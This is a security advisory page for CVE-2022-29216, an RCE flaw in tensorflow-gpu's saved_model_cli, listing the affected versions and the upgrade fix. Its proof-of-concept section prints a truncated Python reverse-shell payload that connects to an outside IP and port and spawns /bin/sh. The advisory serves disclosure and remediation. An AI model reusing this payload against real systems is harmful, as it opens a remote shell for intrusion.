Remote Code Execution (RCE) Affecting tensorflow-gpu package, versions [,2.6.4)[2.7.0,2.7.2)[2.8.0,2.8.1)[2.9.0rc0, 2.9.0)


Severity

Recommended
0.0
high
0
10

CVSS assessment made by Snyk's Security Team. Learn more

Threat Intelligence

Exploit Maturity
Proof of concept
EPSS
0.1% (42nd percentile)

Do your applications use this vulnerable package?

In a few clicks we can analyze your entire application and see what components are vulnerable in your application, and suggest you quick fixes.

Test your applications

Snyk Learn

Learn about Remote Code Execution (RCE) vulnerabilities in an interactive lesson.

Start learning
  • Snyk IDSNYK-PYTHON-TENSORFLOWGPU-2841410
  • published22 May 2022
  • disclosed22 May 2022
  • creditAndey Robins

Introduced: 22 May 2022

CVE-2022-29216  (opens in a new tab)
CWE-94  (opens in a new tab)

How to fix?

Upgrade tensorflow-gpu to version 2.6.4, 2.7.2, 2.8.1, 2.9.0 or higher.

Overview

tensorflow-gpu is a machine learning framework.

Affected versions of this package are vulnerable to Remote Code Execution (RCE) due to improper fix of CVE-2021-41228. Exploiting this vulnerability is possible via the saved_model_cli tool and can be abused to open a reverse shell.

PoC:

subprocess\ns=socket.socket(socket.AF_INET,socket.SOCK_STREAM)\ns.connect(("10.0.2.143",33419))\nsubprocess.call(["/bin/sh","-i"],stdin=s.fileno(),stdout=s.fileno(),stderr=s.fileno())""")'
--dir ./ --tag_set serve --signature_def serving_default

CVSS Scores

version 3.1